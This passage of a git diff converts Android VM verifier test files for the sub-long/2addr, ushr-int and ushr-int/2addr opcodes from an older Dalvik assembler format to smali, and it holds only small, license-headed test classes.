-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_long_2addr_2.java
-.class public dot.junit.opcodes.sub_long_2addr.d.T_sub_long_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 7
-       sub-long/2addr v3, v5
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_2.smali
new file mode 100644
index 0000000..d2ae540
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_2.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 7
+       sub-long/2addr v3, v5
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_3.d
deleted file mode 100644
index bea4aea..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_long_2addr_3.java
-.class public dot.junit.opcodes.sub_long_2addr.d.T_sub_long_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-
-       const v3, 12346
-       sub-long/2addr v3, v5
-       return-wide v5
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_3.smali
new file mode 100644
index 0000000..be16558
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       const v3, 12346
+       sub-long/2addr v3, v5
+       return-wide v5
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_4.d
deleted file mode 100644
index 57d6c24..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_long_2addr_4.java
-.class public dot.junit.opcodes.sub_long_2addr.d.T_sub_long_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-       const v5, 12346.0
-       sub-long/2addr v3, v5
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_4.smali
new file mode 100644
index 0000000..fcd6c01
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_4;
+.super Ljava/lang/Object;
+.source "T_sub_long_2addr_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(JJ)J
+    .registers 7
+
+    const p3, 0x4640e800    # 12346.0f
+
+    sub-long/2addr p1, p3
+
+    return-wide p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_5.d
deleted file mode 100644
index da99ce1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_long_2addr_5.java
-.class public dot.junit.opcodes.sub_long_2addr.d.T_sub_long_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-
-       sub-long/2addr v3, v2
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_5.smali
new file mode 100644
index 0000000..acbbaca
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       sub-long/2addr v3, v2
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_6.d
deleted file mode 100644
index fb874e6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_long_2addr_6.java
-.class public dot.junit.opcodes.sub_long_2addr.d.T_sub_long_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-
-       sub-long/2addr v3, v7
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_6.smali
new file mode 100644
index 0000000..3abafb3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       sub-long/2addr v3, v7
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_1.d
deleted file mode 100644
index dd22d10..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_1.java
-.class public dot.junit.opcodes.ushr_int.d.T_ushr_int_1
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       ushr-int v1, v1, v2
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_1.smali
new file mode 100644
index 0000000..aa6907b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_1.java"
+.class  public Ldot/junit/opcodes/ushr_int/d/T_ushr_int_1;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       ushr-int v1, v1, v2
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_2.d
deleted file mode 100644
index 75880f7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_2.java
-.class public dot.junit.opcodes.ushr_int.d.T_ushr_int_2
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       move v1, v2
-       const-wide v2, 12345.0
-       ushr-int v1, v1, v2
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_2.smali
new file mode 100644
index 0000000..1985184
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_2.java"
+.class  public Ldot/junit/opcodes/ushr_int/d/T_ushr_int_2;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       move v1, v2
+       const-wide v2, 12345.0
+       ushr-int v1, v1, v2
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_3.d
deleted file mode 100644
index 802f349..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_3.java
-.class public dot.junit.opcodes.ushr_int.d.T_ushr_int_3
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IJ)I
-.limit regs 4
-
-       ushr-int v1, v1, v2
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_3.smali
new file mode 100644
index 0000000..b444489
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_3.java"
+.class  public Ldot/junit/opcodes/ushr_int/d/T_ushr_int_3;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IJ)I
+.registers 4
+
+       ushr-int v1, v1, v2
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_4.d
deleted file mode 100644
index 289c777..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_4.java
-.class public dot.junit.opcodes.ushr_int.d.T_ushr_int_4
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       ushr-int v1, v1, v0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_4.smali
new file mode 100644
index 0000000..6289982
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_4.java"
+.class  public Ldot/junit/opcodes/ushr_int/d/T_ushr_int_4;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       ushr-int v1, v1, v0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_5.d
deleted file mode 100644
index 2fdf2b6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_5.java
-.class public dot.junit.opcodes.ushr_int.d.T_ushr_int_5
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 3
-
-       ushr-int v1, v1, v2
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_5.smali
new file mode 100644
index 0000000..1e1ad72
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_5.java"
+.class  public Ldot/junit/opcodes/ushr_int/d/T_ushr_int_5;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 3
+
+       ushr-int v1, v1, v2
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_6.d
deleted file mode 100644
index b216968..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_6.java
-.class public dot.junit.opcodes.ushr_int.d.T_ushr_int_6
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       ushr-int v1, v1, v3
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_6.smali
new file mode 100644
index 0000000..942d05d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int/d/T_ushr_int_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_6.java"
+.class  public Ldot/junit/opcodes/ushr_int/d/T_ushr_int_6;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       ushr-int v1, v1, v3
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_1.d
deleted file mode 100644
index 5ee3392..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_2addr_1.java
-.class public dot.junit.opcodes.ushr_int_2addr.d.T_ushr_int_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       ushr-int/2addr v1, v2
-       return v1
-.end method
-
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_1.smali
new file mode 100644
index 0000000..5414e81
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       ushr-int/2addr v1, v2
+       return v1
+.end method
+
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_2.d
deleted file mode 100644
index d7be0ea..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_2addr/d/T_ushr_int_2addr_2.d
